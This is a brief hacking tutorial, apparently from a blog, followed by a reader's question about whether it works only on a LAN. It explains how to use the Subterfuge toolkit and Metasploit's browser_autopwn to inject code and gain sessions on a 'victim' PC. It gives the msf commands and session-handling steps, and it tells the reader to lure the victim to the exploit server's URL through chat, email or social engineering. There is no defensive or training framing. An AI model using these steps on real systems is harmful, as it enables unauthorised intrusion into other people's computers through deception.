How to Attack on Remote PC using HTTP Code Injection Technique
First Install subterfuge Toolkit in Backtrack
You can view the Tutorial Here
Open your backtrack terminal and type subterfuge

Now start a Web browser and navigate to http://127.0.0.1:80/
After a few seconds, you’ll see the main subterfuge GUI displayed.
Click on HTTP Code Injection

Click on Custom Inject and Click Apply

Msf auxiliary (browser_autopwn)>set lhost 192.168.1.3 (IP Address of your PC)
Msf auxiliary (browser_autopwn)>exploit

Now an URL you should give to your victim http://192.168.1.3:8080/
Send the link of the server to the victim via chat or email or any social engineering technique.


Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“




This works only in LAN, or if slave is in you network. Am I right ?